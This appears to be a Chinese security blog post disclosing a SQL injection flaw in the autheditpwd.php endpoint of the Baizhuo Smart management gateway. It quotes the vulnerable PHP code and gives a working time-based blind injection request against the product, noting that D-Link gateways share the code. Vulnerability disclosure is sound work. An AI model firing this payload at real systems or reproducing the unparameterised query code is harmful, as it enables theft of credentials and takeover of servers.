百卓Smart管理平台 autheditpwd.php SQL注入漏洞


漏洞简介

百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品,是一家致力于构建下一代安全互联网的高科技企业。百卓Smart管理平台 autheditpwd.php 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

漏洞分析

先看今天主角 autheditpwd.php 业务逻辑实现代码

<?php 

if(isset($_GET['id'])) $get_id = $_GET['id'];
if(isset($_POST['mode'])) $post_mode = $_POST['mode'];
if($post_mode == "edit")
{
    conn();
    $post_id = $_POST['hid_id'];
    $post_oldpwd = $_POST['oldpwd'];
    $sql = "select * from tb_web_accounts where id = $post_id and user_pwd = '$post_oldpwd'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num < 1)    //没有记录
    {
        alert("原密码不对","autheditpwd.php?id=$post_id");
        exit();
    }
    $post_pwd = $_POST['pwd'];
    $sql = "update tb_web_accounts set user_pwd = $post_pwd where id = $post_id";
    $result = mysql_query($sql);
    if(!$result)
    {
        alert("修改失败!","autheditpwd.php?id=$post_id");
        exit();
    }
    alert_close("修改成功!");
}

一眼丁真!$post_id存在SQL注入漏洞。
$post_id是直接拼接进SQL语句中,从而造成SQL注入漏洞。
要想进入此逻辑也简单,只需要 $post_mode 等于 edit 即可!开干!

漏洞复现

POST /autheditpwd.php HTTP/1.1
Host: smart.mrxn.net
Content-Type: application/x-www-form-urlencoded

oldpwd=1&pwd=1&confirmpwd=1&mode=edit&hid_id=(select*from(select(sleep(4)))a)

PS: D-link某款上网行为审计网关也是这套OEM!


手机扫码阅读

百卓Smart管理平台 licence.php 文件上传漏洞

蓝凌EKP sys/webservice/elecPsealUseWebService 文件读取漏洞

评 论